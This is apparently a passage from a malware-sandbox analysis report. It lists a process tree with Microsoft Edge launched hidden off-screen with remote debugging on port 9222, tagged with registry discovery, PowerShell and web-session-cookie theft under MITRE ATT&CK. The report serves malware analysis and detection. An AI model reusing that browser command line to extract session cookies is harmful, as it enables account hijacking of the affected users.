        Uses browser remote debugging
        
        PID:4276
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
        7⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        
        PID:3448
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff8877446f8,0x7ff887744708,0x7ff887744718
        8⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:2320
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2216,1724277498812038135,2113996572122119265,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2228 /prefetch:2
        8⤵
        
        PID:2948
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2216,1724277498812038135,2113996572122119265,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:3
        8⤵
        
        PID:2000
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2216,1724277498812038135,2113996572122119265,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2728 /prefetch:8
        8⤵
        
        PID:5004
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2216,1724277498812038135,2113996572122119265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3308 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:3792
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2216,1724277498812038135,2113996572122119265,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:3172

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:680

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1372

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Modify Authentication Process

Privilege Escalation

Defense Evasion

Modify Authentication Process

Credential Access

Modify Authentication Process

Steal Web Session Cookie

T1539

Discovery

Query Registry

System Information Discovery